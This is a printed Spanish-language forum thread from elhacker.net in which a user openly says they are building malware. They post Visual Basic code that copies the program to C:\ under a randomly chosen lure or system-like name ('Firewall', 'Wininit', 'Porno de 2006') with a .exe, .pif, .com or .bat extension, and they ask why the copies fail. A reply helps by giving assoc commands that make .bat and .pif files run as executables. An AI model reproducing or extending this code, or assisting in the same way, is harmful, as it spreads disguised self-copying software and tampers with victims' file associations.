Imprimir Página - Error de ejecucion

Hola, estoy programando un malware que tome como nombre
para copiarse uno entre 30 opciones y 4 extensiones (.exe, .pif, .bat y .com ),
todo va bien hasta este punto, genera el nombre y la extension correctamente :D
pero si sale un archivo com, pif o bat y lo ejecuto me lanza error que dice:

Error '53' en tiempo de ejecucion :
no se ha encontrado el archivo >:(

Les dejo el code para que lo analizen:

Citar

Option Explicit
Dim nombre As String
Dim exte As String
Dim toxico
Dim popo
Private Sub Form_Load()
Randomize
toxico = Int(Rnd * 30)
If toxico = 0 Then nombre = "Windows sevicess"
If toxico = 1 Then nombre = "Wininit"
If toxico = 2 Then nombre = "Sexy"
If toxico = 3 Then nombre = "runexe"
If toxico = 4 Then nombre = "puppet"
If toxico = 5 Then nombre = "shit"
If toxico = 6 Then nombre = "*****"
If toxico = 7 Then nombre = "Winsock32.dll"
If toxico = 8 Then nombre = "Root"
If toxico = 9 Then nombre = "Firewall"
If toxico = 10 Then nombre = "XP"
If toxico = 11 Then nombre = "WinNT"
If toxico = 12 Then nombre = "winXP"
If toxico = 13 Then nombre = "Logger"
If toxico = 14 Then nombre = "sucker"
If toxico = 15 Then nombre = "apestas"
If toxico = 16 Then nombre = "line"
If toxico = 17 Then nombre = "p**a"
If toxico = 18 Then nombre = "setsi"
If toxico = 19 Then nombre = "ozorio"
If toxico = 20 Then nombre = "sevicess"
If toxico = 21 Then nombre = "mi_vida-atte-tu compu"
If toxico = 22 Then nombre = "Informacion"
If toxico = 23 Then nombre = "Porno de 2006"
If toxico = 24 Then nombre = "nada"
If toxico = 25 Then nombre = "alg"
If toxico = 26 Then nombre = "que_joto_eres"
If toxico = 27 Then nombre = "me_cagas"
If toxico = 28 Then nombre = "abreme"
If toxico = 29 Then nombre = "no se"
Randomize
popo = Int(Rnd * 4)
If popo = 0 Then exte = ".exe"
If popo = 1 Then exte = ".pif"
If popo = 2 Then exte = ".com"
If popo = 3 Then exte = ".bat"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\" & nombre & exte

End sub

Espero puedan ayudarme ;D

Cita de: At0XXXic0 en 19 Marzo 2008, 02:51 am

Gracias por contestar, lo que pasaba era que queria saber porque me
producia error al ejecutar una copia del mismo (con extension .exe)
con otra extension (pif,com,bat), pero veo que has respondido que
no se puede >:(, de todas formas gracias :D

bueno,lo que te dije es algo basico ,aunque si ai una forma de hacerlo que seria modificando el registro i poner que los bat , los pif y los com se ejecuten como si fueran exe`s no tengo tiempo para escribirte el code pero te dejo uno de batch

Código:

assoc .exe=exefile
assoc .bat=exefile
assoc .pif=exefile

Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: At0XXXic0 en 18 Marzo 2008, 22:16 pm